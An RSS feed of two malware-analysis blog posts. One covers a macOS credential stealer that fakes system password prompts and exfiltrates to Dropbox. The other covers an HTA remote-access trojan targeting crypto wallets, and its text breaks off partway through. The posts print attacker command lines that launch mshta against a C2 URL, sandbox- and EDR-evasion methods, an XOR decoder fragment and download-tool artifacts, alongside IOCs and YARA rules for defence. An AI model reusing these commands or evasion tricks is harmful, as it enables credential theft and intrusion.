<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by August van sickle on Medium]]></title>
        <description><![CDATA[Stories by August van sickle on Medium]]></description>
        <link>https://medium.com/@august.vansickle?source=rss-83e302496c39------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*y-_Jrjsg89XCzcpsqsf0xA@2x.jpeg</url>
            <title>Stories by August van sickle on Medium</title>
            <link>https://medium.com/@august.vansickle?source=rss-83e302496c39------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Tue, 17 Nov 2026 00:37:15 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@august.vansickle/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[DriverFixer0428 macOS Credential Stealer]]></title>
            <link>https://medium.com/@august.vansickle/driverfixer0428-macos-credential-stealer-84afd80efa9a?source=rss-83e302496c39------2</link>
            <guid isPermaLink="false">https://medium.com/p/84afd80efa9a</guid>
            <category><![CDATA[malware-analysis]]></category>
            <category><![CDATA[reverse-engineering]]></category>
            <category><![CDATA[macos]]></category>
            <category><![CDATA[threat-intelligence]]></category>
            <category><![CDATA[threat-research]]></category>
            <dc:creator><![CDATA[August van sickle]]></dc:creator>
            <pubDate>Sat, 20 Dec 2025 22:03:49 GMT</pubDate>
            <atom:updated>2025-12-20T22:03:49.484Z</atom:updated>
            <content:encoded><![CDATA[<p>Dec 20</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/564/0*8LGi6ZlYe-BK1rmu.png" /></figure><h3>Executive Summary</h3><p>This report documents the comprehensive static and dynamic analysis of a macOS credential stealer identified as DriverFixer0428, attributed with high confidence to North Korea’s Contagious Interview campaign. The malware masquerades as a legitimate system utility and harvests user credentials through sophisticated social engineering dialogs that impersonate macOS system prompts and Google Chrome permission requests. Stolen credentials are exfiltrated to attacker-controlled infrastructure via Dropbox’s cloud storage API.</p><p>Dynamic analysis using LLDB debugger revealed multi-layer sandbox evasion capabilities, including VM detection through runtime API checks (sysctlbyname, IOKit, NSScreen) that prevented payload execution in virtualized analysis environments. The malware demonstrates operational security consistent with nation-state threat actors, utilizing legitimate cloud services for command-and-control to evade network-based detection.</p><h3>Sample Naming Rationale</h3><p>The sample name “DriverFixer0428” is derived from internal identifiers embedded in the compiled binary by the malware developers. These artifacts were extracted during static analysis:</p><p>$ strings DriverFixer | grep -i driverfixer</p><p>DriverFixer0428</p><p>_TtC15DriverFixer042814ViewController</p><p>_TtC15DriverFixer042811AppDelegate</p><p>DriverFixer0428.OverlayWindowController</p><p>DriverFixer0428/ViewController.swift</p><p>The “0428” suffix likely indicates either a build date (April 28th) or an internal version/variant number used by the threat actors to track different builds within their development pipeline.</p><h3>Sample Identification</h3><p><strong>SHA-256</strong></p><p>9aef4651925a752f580b7be005d91bfb1f9f5dd806c99e10b17aa2e06bf4f7b5</p><p><strong>File Type</strong></p><p>Mach-O universal binary (x86_64 + ARM64)</p><p><strong>Language</strong></p><p>Swift / AppKit</p><p><strong>Size</strong></p><p>234,752 bytes (235 KB)</p><p><strong>Bundle ID</strong></p><p>chrome.DriverFixer0428</p><p><strong>Source Path</strong></p><p>DriverFixer0428/ViewController.swift</p><h3>Attribution Analysis</h3><h3>Assessment</h3><p><strong>Campaign: </strong>Contagious Interview (DPRK/North Korea)</p><p><strong>Confidence: </strong>Medium-High</p><p><strong>Related Families: </strong>FlexibleFerret, FrostyFerret, ChromeUpdate, CameraAccess</p><h3>Attribution Basis</h3><p>Attribution is based on TTP correlation with publicly documented DPRK campaigns. The specific sample hash was not found in public threat intelligence repositories, suggesting this may be a previously unreported variant.</p><h3>Network Infrastructure Match</h3><p>The sample’s network indicators exactly match those documented by SentinelOne in their FlexibleFerret analysis (February 2025):</p><p># From SentinelOne FlexibleFerret Report:</p><p>21 3.__TEXT.__cstring ascii <a href="https://api.ipify.org/">https://api.ipify.org</a></p><p>39 3.__TEXT.__cstring ascii <a href="https://api.dropboxapi.com/oauth2/token">https://api.dropboxapi.com/oauth2/token</a></p><p>45 3.__TEXT.__cstring ascii <a href="https://content.dropboxapi.com/2/files/upload">https://content.dropboxapi.com/2/files/upload</a></p><p># From DriverFixer0428 (This Sample):</p><p>0x100007370: “https://api.ipify.org&quot;</p><p>0x100007460: “https://api.dropboxapi.com/oauth2/token&quot;</p><p>0x100007580: “https://content.dropboxapi.com/2/files/upload&quot;</p><h3>Evidence Summary</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/454/0*CaHvjrC97NH6sJ4O.png" /></figure><h3>Public Threat Intelligence References</h3><p><strong>SentinelOne: </strong>“macOS FlexibleFerret | Further Variants of DPRK Malware Family Unearthed” (February 2025)</p><p><strong>Jamf: </strong>“FlexibleFerret: macOS Malware Deploys in Fake Job Scams” (November 2025)</p><p><strong>NVISO: </strong>“Contagious Interview Actors Now Utilize JSON Storage Services” (November 2025)</p><h3>Sample Identification</h3><p><strong>SHA-256</strong></p><p>9aef4651925a752f580b7be005d91bfb1f9f5dd806c99e10b17aa2e06bf4f7b5</p><p><strong>File Type</strong></p><p>Mach-O universal binary (x86_64 + ARM64)</p><p><strong>Language</strong></p><p>Swift / AppKit</p><p><strong>Size</strong></p><p>234,752 bytes (235 KB)</p><p><strong>Bundle ID</strong></p><p>chrome.DriverFixer0428</p><p><strong>Source Path</strong></p><p>DriverFixer0428/ViewController.swift</p><h3>Technical Analysis</h3><h3>Malware Capabilities</h3><h3>1. Credential Harvesting via Social Engineering</h3><p>The malware displays convincing fake dialogs designed to trick users into entering their macOS system password. Memory analysis via LLDB extracted the following social engineering strings:</p><p>(lldb) x/50s 0x100007680</p><p>0x100007680: “Installer wants to make changes.”</p><p>0x1000076b0: “Enter your password to allow this.”</p><p>0x1000076e0: “\”Google Chrome\” wants to access your camera”</p><p>0x100007710: “After granting Chrome access, websites can ask</p><p>to use your camera.”</p><p>0x1000075f0: “Incorrect password. Please re-enter your password.”</p><p>0x100007630: “Please enter your password. The password field</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/619/0*OXAR5W1IPSoPHCvN.png" /></figure><p>The malware uses an OverlayWindowController class to create fullscreen overlay windows, preventing users from interacting with other applications until they provide credentials.</p><h3>2. Network C2 Infrastructure</h3><p>Memory analysis revealed the complete network infrastructure used for reconnaissance and exfiltration:</p><p>(lldb) memory find -s “ipify” 0x100000000 0x100010000</p><p>data found at location: 0x10000737c</p><p>0x10000737c: 69 70 69 66 79 2e 6f 72 67 ipify.org</p><p>(lldb) memory find -s “dropbox” 0x100000000 0x100010000</p><p>data found at location: 0x10000746c</p><p>0x10000746c: 64 72 6f 70 62 6f 78 61 70 69 dropboxapi.com/oauth2/token</p><p>(lldb) x/30s 0x100007500</p><p>0x100007520: “New access token: “</p><p>0x100007540: “Error refreshing access token: “</p><p>0x100007580: “https://content.dropboxapi.com/2/files/upload&quot;</p><p>0x1000075b0: “application/octet-stream”</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/591/0*acjYEf1H4mxQAUOP.png" /></figure><h3>3. Dropbox Upload Function (Disassembly)</h3><p>LLDB disassembly of symbol269 revealed the Dropbox API upload implementation, showing construction of HTTP headers and OAuth tokens:</p><p>(lldb) dis -s 0x100004374 -c 40</p><p>DriverFixer`___lldb_unnamed_symbol269:</p><p>0x1000044ac: add x8, x8, #0x580 ; “https://content.dropboxapi.com/2/files/upload&quot;</p><p>0x100004520: mov w0, #0x4f50 ; ‘PO’ (POST)</p><p>0x100004524: movk w0, #0x5453, lsl #16 ; ‘ST’</p><p>0x100004530: bl Foundation.URLRequest.httpMethod.setter</p><p>0x100004534: mov x8, #0x6542 ; ‘Be’ (Bearer)</p><p>0x100004538: movk x8, #0x7261, lsl #16 ; ‘ar’</p><p>0x10000453c: movk x8, #0x7265, lsl #32 ; ‘er’</p><p>0x100004560: mov x2, #0x7541 ; ‘Au’ (Authorization)</p><p>0x100004564: movk x2, #0x6874, lsl #16 ; ‘th’</p><p>0x100004588: bl Foundation.URLRequest.setValue(forHTTPHeaderField:)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/374/0*1kn1I-nv45vjBH78.png" /></figure><h3>Dynamic Analysis: VM Detection Mechanism</h3><p>LLDB debugging sessions confirmed the malware employs runtime API checks for VM detection rather than static string comparisons. This sophisticated evasion technique queries system APIs during execution to identify virtualized environments.</p><h3>sysctlbyname API Calls</h3><p>Breakpoints on sysctlbyname captured the following system queries during malware initialization:</p><p>(lldb) br set -n “sysctlbyname”</p><p>(lldb) run</p><p>Process stopped at breakpoint — sysctlbyname</p><p>(lldb) x/s $x0</p><p>0x19be880d7: “kern.osvariant_status”</p><p>(lldb) c</p><p>(lldb) x/s $x0</p><p>0x1980b3847: “kern.osproductversion”</p><p>(lldb) c</p><p>(lldb) x/s $x0</p><p>0x19828a730: “kern.secure_kernel”</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/558/0*wNZYJfbH1iNv0jzF.png" /></figure><h3>IOKit Registry Queries</h3><p>IORegistryEntryCreateCFProperty breakpoints revealed hardware property queries used for environment fingerprinting:</p><p>(lldb) br set -n “IORegistryEntryCreateCFProperty”</p><p>(lldb) c</p><p>Process stopped at breakpoint — IORegistryEntryCreateCFProperty</p><p>(lldb) po $x1</p><p>product-id</p><p>(lldb) c</p><p>(lldb) po $x1</p><p>housing-color</p><p>(lldb) c</p><p>(lldb) po $x1</p><p>IORegistryEntryPropertyKeys</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/932/0*_GiS51CVkhGNhYmz.png" /></figure><h3>NSScreen Detection Vector</h3><p>Binary analysis confirmed NSScreen API usage for display-based VM detection:</p><p>$ strings DriverFixer | grep -i screen</p><p>applicationDidChangeScreenParameters:</p><p>mainScreen</p><p>$ nm DriverFixer | grep -i screen</p><p>U _OBJC_CLASS_$_NSScreen</p><p>On Apple Silicon VMs, NSScreen returns identifying information such as “Apple Virtual” display names and VirtualMac2,1 model identifiers that the malware uses to detect analysis environments.</p><h3>Silent Failure Behavior</h3><p>When VM detection succeeds, the malware enters an idle event loop without executing its payload. The process remains alive but dormant:</p><p>(lldb) process interrupt</p><p>(lldb) bt</p><p>* thread #1, queue = ‘com.apple.main-thread’</p><p>frame #0: libsystem_kernel.dylib`mach_msg2_trap + 8</p><p>frame #4: CoreFoundation`__CFRunLoopServiceMachPort + 160</p><p>frame #5: CoreFoundation`__CFRunLoopRun + 1208</p><p>frame #12: AppKit`-[NSApplication run] + 480</p><p>frame #13: AppKit`NSApplicationMain + 880</p><p>frame #14: DriverFixer`___lldb_unnamed_symbol295 + 36</p><h3>Sandbox Evasion Summary</h3><p><strong>Environment</strong></p><p><strong>Behavior</strong></p><p><strong>Detection Mechanism</strong></p><p>Triage Sandbox</p><p>Score 4/10 (benign)</p><p>Silent evasion — no malicious activity</p><p>Apple VM (ARM64)</p><p>Idle event loop</p><p>sysctlbyname, IOKit, NSScreen APIs</p><p>Rosetta (x86_64)</p><p>SIGILL crash</p><p>Anti-emulation trap instructions</p><p>Env Tampering</p><p>SIGTRAP crash</p><p>Environment variable validation</p><h3>Binary Structure</h3><p>LLDB symbol analysis identified 153 functions within the malware. Key symbols include:</p><p>(lldb) image lookup -r -n “.*” DriverFixer</p><p>153 matches found in DriverFixer:</p><p>0x100002ca4: ___lldb_unnamed_symbol229 (1456 bytes) — OAuth token refresh</p><p>0x100004374: ___lldb_unnamed_symbol269 (1428 bytes) — Dropbox upload</p><p>0x100004bf0: ___lldb_unnamed_symbol295 — Entry point (NSApplicationMain)</p><p>(lldb) x/50s 0x100007760</p><p>0x100007760: “DriverFixer0428.OverlayWindowController”</p><p>0x100007810: “_TtC15DriverFixer042811AppDelegate”</p><p>0x1000077a0: “DriverFixer0428/ViewController.swift”</p><h3>Indicators of Compromise (IOCs)</h3><h3>File Indicators</h3><p><strong>Type</strong></p><p><strong>Value</strong></p><p>SHA-256</p><p>9aef4651925a752f580b7be005d91bfb1f9f5dd806c99e10b17aa2e06bf4f7b5</p><p>Bundle ID</p><p>chrome.DriverFixer0428</p><h3>Network Indicators</h3><p><strong>Purpose</strong></p><p><strong>URL / Domain</strong></p><p>IP Recon</p><p><a href="https://api.ipify.org/">https://api.ipify.org</a></p><p>OAuth Token</p><p><a href="https://api.dropboxapi.com/oauth2/token">https://api.dropboxapi.com/oauth2/token</a></p><p>Exfiltration</p><p><a href="https://content.dropboxapi.com/2/files/upload">https://content.dropboxapi.com/2/files/upload</a></p><h3>Memory Forensics (LLDB Extraction)</h3><p><strong>Address</strong></p><p><strong>String Evidence</strong></p><p>0x100007680</p><p>Installer wants to make changes.</p><p>0x1000076e0</p><p>“Google Chrome” wants to access your camera</p><p>0x100007370</p><p><a href="https://api.ipify.org/">https://api.ipify.org</a></p><p>0x100007460</p><p><a href="https://api.dropboxapi.com/oauth2/token">https://api.dropboxapi.com/oauth2/token</a></p><p>0x100007760</p><p>DriverFixer0428.OverlayWindowController</p><h3>MITRE ATT&amp;CK Mapping</h3><p><strong>Tactic</strong></p><p><strong>Technique</strong></p><p><strong>Description</strong></p><p>Credential Access</p><p>T1056.002 GUI Input Capture</p><p>Fake dialog captures credentials</p><p>Defense Evasion</p><p>T1497.001 System Checks</p><p>VM detection via sysctlbyname, IOKit</p><p>Defense Evasion</p><p>T1036.005 Masquerading</p><p>Impersonates macOS/Chrome dialogs</p><p>Discovery</p><p>T1016 System Network Config</p><p>Public IP via ipify.org</p><p>Exfiltration</p><p>T1567.002 Exfil to Cloud</p><p>Dropbox API exfiltration</p><h3>Detection</h3><h3>YARA Rule</h3><p>rule MacOS_Infostealer_DriverFixer0428 {</p><p>meta:</p><p>description = “DPRK DriverFixer credential stealer”</p><p>author = “Threat Intelligence Team”</p><p>threat_actor = “DPRK/Contagious Interview”</p><p>strings:</p><p>$class1 = “DriverFixer0428” ascii</p><p>$class2 = “OverlayWindowController” ascii</p><p>$net1 = “api.dropboxapi.com” ascii</p><p>$net2 = “content.dropboxapi.com” ascii</p><p>$net3 = “api.ipify.org” ascii</p><p>$se1 = “Installer wants to make changes” ascii</p><p>$se2 = “wants to access your camera” ascii</p><p>condition:</p><p>(uint32(0) == 0xfeedface or uint32(0) == 0xfeedfacf or</p><p>uint32(0) == 0xcafebabe) and</p><p>(any of ($class*)) and (2 of ($net*)) and (any of ($se*))}</p><h3>Conclusion</h3><p>DriverFixer0428 represents a sophisticated macOS credential stealer attributed to North Korea’s Contagious Interview campaign. LLDB dynamic analysis confirmed the malware employs multi-layer sandbox evasion through runtime API checks including sysctlbyname, IOKit registry queries, and NSScreen display detection.</p><p>The stark discrepancy between static analysis indicators (clearly malicious code) and dynamic sandbox scores (4/10 “likely benign”) underscores why automated sandbox verdicts alone are insufficient for this threat actor’s tooling. The malware’s silent failure mode — remaining alive but dormant when detecting analysis environments — represents production-grade operational security consistent with nation-state capabilities.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=84afd80efa9a" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Announcing “UpdateHub RAT”]]></title>
            <link>https://medium.com/@august.vansickle/announcing-updatehub-rat-ade82b93f22a?source=rss-83e302496c39------2</link>
            <guid isPermaLink="false">https://medium.com/p/ade82b93f22a</guid>
            <category><![CDATA[malware]]></category>
            <category><![CDATA[cyber-threat-intelligence]]></category>
            <category><![CDATA[malware-analysis]]></category>
            <category><![CDATA[threat-intelligence]]></category>
            <category><![CDATA[threat-research]]></category>
            <dc:creator><![CDATA[August van sickle]]></dc:creator>
            <pubDate>Sat, 06 Dec 2025 21:21:22 GMT</pubDate>
            <atom:updated>2025-12-06T21:21:22.817Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/464/1*w_VEVQ7g9oZAjJaDh1bOsA.jpeg" /></figure><p><strong>1. Executive Summary</strong></p><p>This report documents the analysis of a sophisticated HTML Application (HTA) malware sample designed for cryptocurrency wallet theft and corporate network reconnaissance. The malware employs advanced obfuscation techniques, establishes persistence via Windows Task Scheduler, and communicates with command-and-control (C2) infrastructure using custom-encrypted HTTP traffic.</p><p><strong>Key Findings:</strong></p><ul><li>Primary targets: Ledger, Trezor, Atomic, Exodus, Guarda, KeepKey, and BitBox02 cryptocurrency wallets</li><li>Extensive Active Directory reconnaissance capabilities indicate corporate environment targeting</li><li>USB spreading functionality via malicious LNK file replacement</li><li>CrowdStrike Falcon detection with execution method modification</li><li>C2 dependency: malware requires live C2 server to execute (anti-analysis)</li></ul><p><strong>2. Sample Information</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/636/1*biJjFAlCR-bCd2NATeOoDA.png" /><figcaption>Summary of Sample Information</figcaption></figure><p><strong>3. Obfuscation Analysis</strong></p><p>The malware employs two XOR-based string decoders to hide operational strings from static analysis.</p><p><strong>3.1 Primary Decoder (_dgaily)</strong></p><p>Decodes the HTA application configuration used to hide the execution window:</p><p><strong>Algorithm: </strong>XOR with rolling key (index * 137 + 140) &amp; 0xFF</p><p><strong>Output: </strong>&lt;HTA:APPLICATION BORDER=’none’ SHOWINTASKBAR=’no’ SYSMENU=’no’ WINDOWSTATE=’minimized’&gt;</p><p><strong>3.2 Secondary Decoder (_dd7j5a)</strong></p><p>Decodes all 271 operational strings including COM objects, WMI queries, file paths, and C2 endpoints.</p><p><strong>Algorithm: </strong>XOR with rolling key (index * 107 + 218) &amp; 0xFF</p><p><strong>4. Command &amp; Control Infrastructure</strong></p><p><strong>4.1 C2 Domain Pattern</strong></p><p>The malware iterates through 11 C2 domain variants with failover capability:</p><p><a href="https://s{i}-updatehub.cc/">https://s{i}-updatehub.cc</a> where {i} = 10, 9, 8, 7, 6, 5, 4, 3, 2, 1, (empty)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/625/1*E88lGc3rwobbbDw-JdphWA.png" /></figure><p><strong>4.3 Communication Encryption</strong></p><ul><li>Request body encrypted with 6-digit random XOR key prepended to payload</li><li>Custom Base64 encoding with UTF-16LE conversion</li><li>Response uses same XOR + Base64 scheme</li><li>JWT token-based authentication (Authorization: Bearer {jwt})</li></ul><p>This RAT won’t continue full execution without reaching and then authenticating with the C2 Server</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/432/1*T-xyZDNUpHQFbZecMEtf8Q.png" /><figcaption>Authentication Required for Contnued Execution</figcaption></figure><p>Without Network Authentication with the C2, the furtherst the execution gets is mshta.exe executing the hta and enumeration of the system, but none of the post intial execution beyond that occurs. I tried setting up a fake C2 that could catch the request from the RAT but I can’t or didnt want to spend the time trying to set up the authentication parameters, and since I have the code, the code review provides all I need.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*1Ry0JHprqPGopsIItgkqpA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*bBC8ko5q5eKwPBFzpQoWAA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/719/1*UODMYjd7SenGU2sgdSmz1A.png" /></figure><p><strong>5. Cryptocurrency Wallet Targeting</strong></p><p>The malware specifically checks for the presence of popular cryptocurrency wallet applications:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/630/1*KHngQ74M9RTfc7mwWU70vA.png" /></figure><p>Detection results are transmitted to C2 via ledger=true/false and wallets=true/false parameters in the registration beacon.</p><p><strong>6. Persistence Mechanism</strong></p><p>The malware establishes persistence via Windows Task Scheduler, masquerading as a legitimate Google Update task.</p><p><strong>6.1 Scheduled Task Configuration</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/626/1*Bc6GNZ_0O6p2aXAG-4hZLA.png" /></figure><p><strong>6.2 Task Settings</strong></p><ul><li>StartWhenAvailable: true</li><li>DisallowStartIfOnBatteries: false</li><li>StopIfGoingOnBatteries: falWakeToRun: true</li><li>RunLevel: 1 (Highest) if admin privileges detected</li></ul><p><strong>7. Payload Delivery Methods</strong></p><p>The malware employs seven different download methods with automatic fallback to ensure payload delivery success:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/626/1*Hs_ig6SEEMCfGW3T4xPJjQ.png" /></figure><p><strong>8. C2 Task Types</strong></p><p>The malware supports the following task types received from the C2 server:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/624/1*jX3apvtUQsuM2pqlZ6c56Q.png" /></figure><p><strong>9. Anti-Analysis Techniques</strong></p><p><strong>9.1 C2 Dependency (Primary Blocker)</strong></p><p>The malware requires a live C2 server to execute any malicious functionality. It iterates through all 11 C2 domain variants and exits silently if none respond with ‘success’. This effectively prevents dynamic analysis in isolated environments.</p><p><strong>9.2 Self-Deletion</strong></p><p>The zonexi() function deletes the HTA file immediately upon execution using Scripting.FileSystemObject.DeleteFile().</p><p>Before execution:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/703/1*7YQd8gVU4QMu3pAY_rAzkg.png" /><figcaption>.hta file present before execution “a7ef…”</figcaption></figure><p>After Executing UpdateHub RAT:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/687/1*kekoIl1jrhwht2U4Na5u7A.png" /><figcaption>.hta file is removed, self deletion</figcaption></figure><p><strong>9.3 Security Product Detection</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/623/1*Yak3uF8X5bhs6Nh-hSVzqQ.png" /></figure><p>When CrowdStrike Falcon is detected, the malware modifies its execution method to use a cmd.exe wrapper: cmd.exe /c start “” /b mshta.exe {url}</p><p><strong>9.4 Additional Techniques</strong></p><ul><li><strong>Window Hiding: </strong>HTA configured with hidden window, plus window.resizeTo(0,0) and window.moveTo(-10000,-10000)</li><li><strong>Silent Failures: </strong>All code wrapped in try/catch blocks to swallow errors</li><li><strong>Admin Detection: </strong>Checks HKLM\SECURITY access via StdRegProv.GetSecurityDescriptor</li><li><strong>Auto-Close: </strong>window.close() called at end of execution</li></ul><p><strong>10. USB Spreading Mechanism</strong></p><p>Task Type 9 implements USB spreading functionality that targets removable drives.</p><p><strong>10.1 Target File Types</strong></p><p>.exe, .docx, .pdf, .doc</p><p><strong>10.2 Infection Process</strong></p><ol><li>Enumerate removable drives (USB, external) via WMI Win32_DiskDrive</li><li>Scan for target file types (depth limited to 2 directories)</li><li>Hide original files by setting hidden attribute</li><li>Create .lnk shortcuts with same base name</li><li>Shortcut executes: cmd.exe /c start “” “.\{original}” &amp; start “” mshta “{C2_URL}”</li></ol><p><strong>11. Active Directory Reconnaissance</strong></p><p>Task Type 5 triggers comprehensive AD reconnaissance, indicating corporate environment targeting:</p><p><strong>11.1 Information Collected</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/619/1*CI3encMVnGjnULAAax6F-Q.png" /></figure><p><strong>11.2 Enumeration Methods</strong></p><ul><li><strong>WMI: </strong>Win32_ComputerSystem, Win32_NTDomain, Win32_Group, Win32_GroupUser</li><li><strong>ADSI: </strong>AdsNameSpaces COM object with WinNT:// provider</li><li><strong>Environment: </strong>LOGONSERVER variable for DC identification</li></ul><p><strong>12. Indicators of Compromise (IOCs)</strong></p><p><strong>12.1 Network Indicators</strong></p><ul><li><a href="https://s[1-10]-updatehub.cc">https://s[1-10]-updatehub.cc</a> (C2 domains)</li><li><a href="https://s-updatehub.cc/">https://s-updatehub.cc</a> (C2 domain, no number)</li><li>HTTP POST requests with 6-digit prefix + Base64 encoded body</li></ul><p><strong>12.2 File System Indicators</strong></p><ul><li>%userprofile%\*.exe (downloaded payloads)</li><li>%TEMP%\{random9}.txt (command output)</li><li>.lnk files replacing documents on USB drives</li></ul><p><strong>12.3 Scheduled Tasks</strong></p><ul><li>GoogleTaskSystem136.0.7023.12{GUID}</li><li>GoogleUpdaterTaskSystem136.1.7023.12{GUID}</li></ul><p><strong>12.4 Process Artifacts</strong></p><ul><li>mshta.exe spawning cmd.exe, powershell.exe</li><li>powershell.exe -ep Bypass -nop</li><li>bitsadmin.exe /transfer</li><li>certutil.exe -urlcache</li><li>rundll32.exe for DLL execution</li></ul><p><strong>13. MITRE ATT&amp;CK Mapping</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/625/1*e1ohxfa-z2UwfZrmKKhEYA.png" /></figure><p><strong>14. Detection Recommendations</strong></p><p><strong>14.1 Network Detection</strong></p><ol><li>Block/monitor DNS queries and HTTP traffic to *-updatehub.cc domains</li><li>Alert on HTTP POST requests with 6-digit numeric prefix in body</li><li>Monitor for mshta.exe making external HTTP connections</li></ol><p><strong>14.2 Endpoint Detection</strong></p><ul><li>Monitor mshta.exe spawning cmd.exe, powershell.exe, or network-related processes</li><li>Alert on scheduled task creation with “Google” in name but non-Google executable paths</li><li>Detect WMI queries to SecurityCenter2 from scripting hosts</li><li>Monitor certutil.exe and bitsadmin.exe used for file downloads</li><li>Alert on mass file attribute changes on removable drives</li><li>Monitor for LNK file creation alongside hidden files on USB drives</li></ul><p><strong>14.3 YARA Detection Strings</strong></p><p>$hta1 = “HTA:APPLICATION” ascii $sched1 = “Schedule.Service” ascii $sched2 = “GoogleTaskSystem136” ascii $crypto1 = “Ledger Live” ascii $crypto2 = “@trezor” ascii $wmi1 = “SecurityCenter2” ascii $wmi2 = “Win32_NTDomain” ascii $adsi1 = “WinNT://” ascii</p><p><strong>15. Attribution</strong></p><p>I used Claude to help verify that I could not find an existing matching Malware Family. Critique and Discussion are appreciated! I dont want to falsely believe I’ve found something new and I try to be very data-driven, reach out if you disagree.</p><p><strong>UpdateHub HTA RAT — Malware Family Comparison Analysis</strong></p><p><strong>Executive Summary</strong></p><p>Based on extensive research, the <strong>UpdateHub HTA RAT</strong> appears to be a <strong>previously unreported</strong> or <strong>newly emerged</strong> malware family. While it shares TTPs with several known threats, it has unique characteristics that distinguish it from existing documented campaigns.</p><p><strong>Similar Malware Families Identified</strong></p><p><strong>1. Aggah Campaign / Gorgon Group (HIGHEST SIMILARITY)</strong></p><p><strong>Similarity Score: 75%</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/684/1*VFeyU5D9jdlxB8gBzF3k3A.png" /></figure><p><strong>Assessment:</strong> The infection chain is very similar to Aggah, but UpdateHub uses custom C2 infrastructure instead of legitimate services and has USB worm capabilities not seen in Aggah.</p><p><strong>2. Spora / Gamarue / RETADUP (USB WORM COMPONENT)</strong></p><p><strong>Similarity Score: 60%</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/670/1*N4N8DbYIZNA8DaxVeXCBnw.png" /></figure><p><strong>Assessment:</strong> The USB worm technique is nearly identical to Spora/Gamarue’s LNK spreading method, suggesting the author copied this proven technique.</p><p><strong>3. KimJongRAT / BabyShark (KOREAN APT)</strong></p><p><strong>Similarity Score: 55%</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/669/1*nm3quLYvaHK-ynR1J9g8vA.png" /></figure><p><strong>Assessment:</strong> Similar focus on crypto wallets and HTA infection chain, but KimJongRAT is attributed to North Korean actors with different infrastructure patterns.</p><p><strong>4. StilachiRAT (Microsoft-documented)</strong></p><p><strong>Similarity Score: 50%</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/677/1*E9ROQly4p6pszoSfrQHvjA.png" /></figure><p><strong>Assessment:</strong> Similar crypto-stealing objectives but completely different codebase and delivery mechanism.</p><p><strong>5. Nova Stealer / Odyssey Stealer (macOS Focus)</strong></p><p><strong>Similarity Score: 40%</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/687/1*95g4-DpU2NoAuIBWah9igw.png" /></figure><p><strong>Assessment:</strong> Different platform but similar targeting of hardware wallet users.</p><p><strong>Unique Characteristics of UpdateHub RAT</strong></p><p>These features distinguish UpdateHub from known families:</p><p><strong>1. C2 Domain Failover Pattern</strong></p><p>s10-updatehub.cc → s9-updatehub.cc → … → s-updatehub.cc</p><p>This numbered failover pattern is not commonly seen in documented malware.</p><p><strong>2. Fake Google Update Task Names</strong></p><p>GoogleTaskSystem136.0.7023.12{GUID}<br> GoogleUpdaterTaskSystem136.1.7023.12{GUID}</p><p>The specific version numbers (136.0.7023.12) appear unique to this family.</p><p><strong>3. XOR Encoding with Multiplier</strong></p><p>var tetorY = v31af8 * 107 + 218 &amp; 255;<br> coreve769 += String.fromCharCode(testackS[v31af8] ^ tetorY);</p><p>This specific XOR pattern with position-based key generation is distinctive.</p><p><strong>4. Combined Capabilities</strong></p><p>No other documented family combines ALL of:</p><ul><li>HTA-based delivery</li><li>USB LNK worm spreading</li><li>Crypto wallet detection (hardware wallets)</li><li>Extensive AD reconnaissance</li><li>CrowdStrike Falcon evasion</li><li>Custom XOR-encrypted C2 protocol</li></ul><p><strong>5. JWT-Based Authentication</strong></p><p>The use of JWT tokens for C2 session authentication is relatively sophisticated for HTA-based malware.</p><p><strong>Attribution Assessment</strong></p><p><strong>Possible Origins:</strong></p><ol><li><strong>Cybercriminal Operation (Most Likely)</strong></li></ol><ul><li>Financially motivated (crypto wallet focus)</li><li>Uses commodity techniques (copied USB worm code)</li><li>Brazilian C2 infrastructure hint (meusitehostgator.com.br in first sample)</li><li>No nation-state indicators</li></ul><ol><li><strong>Evolution of Aggah/Gorgon Tools</strong></li></ol><ul><li>Similar infection chain</li><li>Could be same actors with new infrastructure</li><li>Different final payload suggests possible code 